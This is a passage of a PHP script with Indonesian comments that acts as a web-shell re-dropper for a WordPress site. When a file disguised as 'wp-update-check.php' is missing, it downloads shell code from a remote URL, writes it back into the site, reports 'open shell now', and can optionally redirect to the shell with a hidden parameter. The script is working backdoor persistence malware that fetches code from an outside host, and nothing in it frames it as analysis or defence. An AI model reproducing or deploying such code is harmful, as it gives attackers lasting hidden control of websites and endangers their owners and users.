1000) { // cek minimal panjang biar bukan error page
if (file_put_contents($target_file, $content) !== false) {
@chmod($target_file, 0644);
echo "
✅ wp-update-check.php BERHASIL DIRESTORE DARI REMOTE!
";
echo "→ BUKA SHELL SEKARANG
";
} else {
echo "Gagal menulis file (permission denied?)
";
}
} else {
echo "Gagal download shell dari $shell_url (cek link atau hosting blok?)
";
}
} else {
echo "wp-update-check.php masih ada, tidak perlu restore
";
echo "→ Masuk Shell
";
}
// Opsional: redirect ke shell kalau berhasil
// if (file_exists($target_file)) { header("Location: wp-update-check.php?p=bukanseo"); exit; }
?>